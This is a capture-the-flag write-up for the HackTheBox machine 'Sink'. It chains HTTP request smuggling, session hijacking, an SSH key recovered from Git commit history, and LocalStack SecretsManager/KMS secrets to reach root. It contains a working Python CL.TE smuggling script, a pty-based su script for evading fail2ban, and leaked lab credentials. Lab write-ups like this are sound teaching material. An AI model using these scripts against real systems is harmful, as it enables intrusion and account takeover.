HTB: Sink Writeup

Sink - HackTheBox Writeup

Machine Information

AttributeDetails
NameSink
OSLinux
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.65.220
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Sink chains an HTTP request smuggling flaw in a HAProxy/Gunicorn stack to hijack an administrator session, pivots that access into a self-hosted Gitea instance whose commit history leaks an SSH private key, and then walks through a full simulated AWS environment (LocalStack) — SecretsManager, and finally KMS decryption of an encrypted deployment archive — to reach root. Nothing here is a single memorable exploit; it’s a realistic, multi-stage internal-network compromise where each service only reveals the next pivot after the previous one is fully enumerated.

TL;DR: CL.TE request smuggling on port 5000 (obfuscated Transfer-Encoding) leaks the admin session cookie → admin notes disclose Gitea credentials (root:FaH@3L>Z3})zzfQ3) → an archived Gitea repo’s commit history leaks marcus’s SSH private key → user flag → LocalStack on :4566 exposes a Jira Support secret reused as david’s SSH password → su david → LocalStack KMS decrypts servers.enc into a servers.yml with the root password → su root.


Reconnaissance

Port Scanning

Terminal window
nmap -Pn -p- --min-rate=2000 -T4 10.129.65.220

Results:

  • 22/tcp — OpenSSH
  • 3000/tcp — Gitea (self-hosted Git service)
  • 5000/tcp — Flask application behind Gunicorn, fronted by HAProxy

Service Enumeration

Probing port 5000 directly showed a login/registration application:

Terminal window
curl -s -i http://10.129.65.220:5000/ | head -40

Response headers exposed the stack: gunicorn 20.0.0 as the application server, with a Via: haproxy header indicating a reverse proxy in front of it. Registering an account was straightforward:

Terminal window
curl -s -i -X POST http://10.129.65.220:5000/ \
-d 'username=pwn1&email=pwn1@sink.htb&password=Passw0rd123'

Logging in as pwn1 revealed a /home page with an administrator-authored post and comment/notes functionality — both classic request-smuggling capture points, since an authenticated admin is presumably interacting with those same endpoints.

Vulnerability Assessment

  • Gunicorn 20.0.0 is documented as vulnerable to chunked-encoding request smuggling — support for safe chunked parsing was only fixed in 20.0.1.
  • HAProxy in front of it prefers Content-Length when a Transfer-Encoding header is malformed/obfuscated (e.g. containing a stray control character), while Gunicorn on the backend still honors Transfer-Encoding.
  • That disagreement between front-end (Content-Length) and back-end (Transfer-Encoding) parsing is the textbook precondition for a CL.TE desync (Portswigger’s “HTTP Desync Attacks” research), letting a smuggled request get spliced into another user’s connection.

Initial Foothold

Exploitation Path

Step 1 — Build the desync request.

The trick is smuggling a second request body behind an obfuscated Transfer-Encoding header so HAProxy treats the whole thing as one Content-Length-bounded request, while Gunicorn re-parses it as chunked and stops at the embedded 0 chunk-terminator — leaving the tail (a smuggled POST /comment) sitting in the connection buffer waiting to be prepended to the next legitimate request that arrives on that backend connection:

/tmp/desync.py
import socket, sys, time
HOST = "10.129.65.220"; PORT = 5000
COOKIE = sys.argv[1]
SMUG_CL = int(sys.argv[2]) if len(sys.argv) > 2 else 300
# Smuggled request queued behind the chunk terminator -- this is what gets
# glued onto the next unrelated request that hits the same backend connection.
smug = (
f"POST /comment HTTP/1.1\r\n"
f"Host: 10.129.65.220:5000\r\n"
f"Cookie: {COOKIE}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {SMUG_CL}\r\n\r\n"
f"msg="
)
body = f"8\r\nmsg=test\r\n0\r\n\r\n" + smug
req = (
f"POST /comment HTTP/1.1\r\n"
f"Host: 10.129.65.220:5000\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(body)}\r\n"
# Obfuscated Transfer-Encoding: HAProxy 1.9.x fails to reject the
# malformed header and falls back to Content-Length, while Gunicorn
# still parses it as valid chunked encoding -- the CL/TE split.
f"Transfer-Encoding: \x0bchunked\r\n"
f"Connection: keep-alive\r\n\r\n"
) + body
s = socket.create_connection((HOST, PORT))
s.sendall(req.encode())
time.sleep(1)
print(s.recv(65536).decode(errors="replace"))

Step 2 — Fire it and let the admin’s next request get captured.

Gunicorn honors the Transfer-Encoding framing, closes the first logical request at the 0 chunk terminator, and buffers the smuggled POST /comment ... Content-Length: 300 fragment waiting for more body bytes. When the site’s own background/admin activity (an internal GET /notes/delete/1234 request) lands on that same backend connection next, its raw bytes get appended as the “body” of the smuggled comment POST — meaning the admin’s session cookie and request line get stored verbatim as a comment.

Step 3 — Read it back as a comment and steal the session.

Terminal window
curl -s -b 'session=<my_own_session>' http://10.129.65.220:5000/home | grep -A3 comment

The leaked comment contained the admin’s full session cookie value. Swapping it into the browser/curl -b immediately authenticated as admin@sink.htb:

Terminal window
curl -s -b 'session=eyJlbWFpbCI6ImFkbWluQHNpbmsuaHRiIn0...' \
http://10.129.65.220:5000/notes

Step 4 — Loot the admin’s notes.

The admin’s notes disclosed Gitea credentials:

root : FaH@3L>Z3})zzfQ3

Step 5 — Enumerate Gitea and find the leak.

Terminal window
curl -s -u 'root:FaH@3L>Z3})zzfQ3' \
'http://10.129.65.220:3000/api/v1/repos/search?limit=50'

One repository, root/Key_Management, was archived. Walking its commit history via the API:

Terminal window
curl -s -u 'root:FaH@3L>Z3})zzfQ3' \
'http://10.129.65.220:3000/api/v1/repos/root/Key_Management/commits?limit=50&stat=false'

Commit b01a6b7ed372 stood out — alongside a routine key-management change it also added a .keys/dev_keys path. This is the classic “accidental secret in commit history” pattern: a file removed in a later commit is still fully recoverable from git objects.

Step 6 — Pull the key without cloning (disk-space workaround).

The jump host’s disk was at ~84% and git clone of the Gitea repos failed with “No space left on device”. Also, Gitea’s raw/<path>?ref= convenience endpoint 404s on paths under dotfile directories like .keys/. The fix was to walk the Git Data API directly:

Terminal window
# List the tree at that commit to find the blob SHA for .keys/dev_keys
curl -s -u 'root:FaH@3L>Z3})zzfQ3' \
'http://10.129.65.220:3000/api/v1/repos/root/Key_Management/git/trees/b01a6b7ed372?recursive=true'
# Fetch the blob directly by SHA -- bypasses the raw/ endpoint's dotfile-path bug
curl -s -u 'root:FaH@3L>Z3})zzfQ3' \
'http://10.129.65.220:3000/api/v1/repos/root/Key_Management/git/blobs/a9acff41ed3f2884981d7e4edf6...'

The blob content, base64-decoded, was marcus’s SSH private key.

Step 7 — SSH in as marcus.

Terminal window
scp -P 22 marcus_key <jump>:/tmp/mk
ssh -i /tmp/mk -o StrictHostKeyChecking=no marcus@10.129.65.220 'cat user.txt'
User Flag: <redacted>

Privilege Escalation

david (via LocalStack SecretsManager)

Poking around marcus’s environment revealed awslocal/aws CLI tooling pointed at a local endpoint — this box runs LocalStack, a local AWS-service emulator, on port 4566. That immediately turns AWS service enumeration into a legitimate recon path:

Terminal window
ssh -i /tmp/mk marcus@10.129.65.220 \
'awslocal secretsmanager list-secrets'

Among the returned secrets was Jira Support:

Terminal window
ssh -i /tmp/mk marcus@10.129.65.220 \
"awslocal secretsmanager get-secret-value --secret-id 'Jira Support'"

This returned credentials for david@sink.htb. Password reuse meant the same credential worked for david’s local Unix account:

david@sink.htb : EALB=bcC=`a7f2#k

fail2ban deviation: direct sshpass attempts against david’s SSH login triggered fail2ban on the target — the jump host got banned and port 22 briefly went filtered (~7 minutes). Rather than waste that window retrying, escalation was driven instead through a pty-spawned su from the already-authenticated marcus session:

# /tmp/su.py -- drive an interactive su over a pty so a password prompt
# can be answered non-interactively without touching sshd at all
import pty, os, sys, time, select
user = sys.argv[1]; pw = sys.argv[2]; cmd = sys.argv[3]
pid, fd = pty.fork()
if pid == 0:
os.execvp("su", ["su", "-", user, "-c", cmd])
os._exit(1)
time.sleep(0.5)
os.write(fd, (pw + "\n").encode())
# ... read back fd until EOF ...

This avoided SSH entirely for david’s authentication, sidestepping the fail2ban trigger.

root (via LocalStack KMS)

David’s home directory contained a Projects/Prod_Deployment/servers.enc file — binary, not immediately readable with file/xxd. Given the KMS tooling already present on the box, this pointed at KMS-encrypted data.

Step 1 — Enumerate KMS keys and find the usable one.

Terminal window
awslocal kms list-keys

Two keys were in an enabled state. Checking their usage:

Terminal window
awslocal kms describe-key --key-id 804125db-...

One key (804125db-...) was configured for ENCRYPT_DECRYPT with RSAES_OAEP_SHA_256 listed as a supported algorithm.

Step 2 — Decrypt.

Terminal window
awslocal kms decrypt \
--key-id 804125db-... \
--ciphertext-blob fileb://servers.enc \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--output text

The output was base64 text. Decoding it revealed a gzip-compressed tar archive:

Terminal window
# base64 -> gzip -> tar, chained
echo -n '<kms output>' | base64 -d | gunzip | tar -xf -

Unpacking produced servers.yml, containing:

defaultuser:
name: admin
pass: _uezduQ!EY5AHfe2

Step 3 — Escalate to root.

Terminal window
su root
# password: _uezduQ!EY5AHfe2
Root Flag: <redacted>

Attack Chain Summary

Nmap recon (22/3000/5000)
│
▼
Register on Flask app (:5000) behind HAProxy + Gunicorn 20.0.0
│
▼
CL.TE HTTP request smuggling (obfuscated Transfer-Encoding: \x0bchunked)
│ smuggled POST /comment captures the admin's next
│ internal request (GET /notes/delete/1234)
▼
Admin session cookie leaked via comments feature → authenticate as admin
│
▼
Admin notes → Gitea credentials (root : FaH@3L>Z3})zzfQ3)
│
▼
Archived Gitea repo root/Key_Management, commit b01a6b7ed372
│ .keys/dev_keys pulled via Git Data API (git/trees + git/blobs)
▼
marcus's SSH private key → SSH foothold → user.txt
│
▼
LocalStack (:4566) → awslocal secretsmanager get-secret-value 'Jira Support'
│ password reuse
▼
su david
│
▼
LocalStack KMS → awslocal kms decrypt servers.enc (RSAES_OAEP_SHA_256)
│ base64 → gzip → tar → servers.yml
▼
su root → root.txt

Tools Used

ToolPurpose
nmapPort scanning
curlHTTP interaction with the Flask app and Gitea API
Custom Python socket script (desync.py)Raw TCP construction of the CL.TE smuggling request
Gitea REST API (git/trees, git/blobs)Recovering a leaked SSH key from commit history without cloning
ssh / scpFoothold access and file transfer
awslocal (LocalStack CLI)Enumerating SecretsManager and KMS on the simulated AWS stack
Custom pty-driven su scriptEscalation to david, bypassing fail2ban on password SSH auth
base64 / gunzip / tarUnpacking the KMS-decrypted deployment archive

Key Learnings

Techniques Practiced

  • Constructing a raw CL.TE HTTP request smuggling payload against a HAProxy/Gunicorn stack
  • Obfuscating the Transfer-Encoding header to exploit a front-end/back-end parser disagreement
  • Hijacking another user’s session by capturing their in-flight request as stored content
  • Recovering secrets from Git history via the low-level Data API (trees/blobs) instead of git clone, including working around a raw-endpoint bug on dotfile paths
  • Enumerating a simulated AWS environment (LocalStack) — SecretsManager and KMS — as a genuine internal attack surface
  • Driving su over a pty programmatically to avoid an SSH-layer defense (fail2ban) entirely

Lessons Learned

  1. Front-end/back-end parser disagreements are still exploitable in 2026-realistic stacks. Any time a reverse proxy and an application server disagree on how to frame request boundaries (Content-Length vs Transfer-Encoding), request smuggling is on the table — always check server/proxy version banners against known desync advisories.
  2. Archived repositories are not gone — they’re just hidden from casual browsing. Full commit history, including files later removed, remains fully queryable via the Git Data API even without a working git clone.
  3. When disk space runs out, drop to the API. git clone failing doesn’t mean the data is unreachable — Gitea’s tree/blob endpoints can reconstruct any file at any commit with a couple of curl calls.
  4. LocalStack turns “cloud enumeration” into a real, on-box privilege escalation path. Treat awslocal/aws CLI presence as a strong signal to enumerate every emulated service (logs, secrets, KMS) rather than dismissing it as a dev artifact.
  5. Defensive controls can force a change of technique, not just a delay. fail2ban blocking password SSH auth was worked around entirely by scripting su over an existing authenticated session’s pty — a reminder that a single hardened auth path doesn’t secure every route to the same privilege level.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • MrR3boot, Sink — official HackTheBox writeup (Document No. D21.100.131), used for CVE/technique context on the HAProxy 1.9.10 / Gunicorn 20.0.0 CL.TE request smuggling vulnerability, the LocalStack SecretsManager/KMS AWS service chain, and the general privilege-escalation narrative structure. All IPs, credentials, commit hashes, and command output shown above are from this engagement’s own live run against 10.129.65.220.